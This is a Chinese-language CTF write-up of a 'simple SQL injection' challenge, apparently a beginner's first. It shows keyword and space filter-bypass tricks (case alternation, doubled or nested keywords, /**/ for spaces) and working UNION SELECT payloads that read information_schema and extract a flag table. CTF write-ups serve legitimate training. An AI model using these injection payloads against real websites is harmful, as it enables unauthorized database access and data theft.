簡單的sql注入1


首先查看源碼找找思路

發現源碼里什么都沒有

再使用bp攔截下數據

多次攔截后發現我們在

輸入框里輸入的等下就是id=

意思是我們這里就可以直接使用get注入了

好像類似於sql-labs上的?id=

所以這里應該還用不上bp,我們直接對輸入欄里進行注入試試

1

1’

1”

發現1’會報錯,所以這里的注入口就是1’

根據提示這里的sql注入會過濾一些東西,所以我們先找找那些會被過濾

這里我們嘗試1#1’#1”#

發現只有1’#會報錯其余的都會被過濾掉

所以這里的#也是被過濾了不起作用的.

再測試 1' order by 1 #1' select 1 #發現報錯的都只有

 

所以這里我們輸入的注入語句關鍵字也被過濾了

百度了一下防過濾的方法

關鍵詞被過濾:解決方法如下

1大小寫交替: Order SeLect 

2.雙寫  OderOrder SelectSelect (雙寫后要加兩空格)

3.交叉: selecselectt  

注釋符被過濾,解決方法如下:

'號閉合  ,如having , where

空格被過濾,解決方法如下:

+/**/%0a

所以這里使用/**/代替掉空格試試

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1' ='1

name中顯示出了數據庫表名稱,證明這個方法可行

再使用

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1

查詢表中列的信息

發現沒用,有點尷尬。。。。混合使用雙寫交叉試試

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

這樣就得到了列名稱

再就是查詢flag列下的信息了

使用雙寫的方法

1' unionunion  selectselect  flag fromfrom  flag wherewhere  '1' ='1

就得到flag了(這里是第一次寫的ctf題的wp所以有點瓜皮,后面就直接根據信息來判斷題的類型來做題了)

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM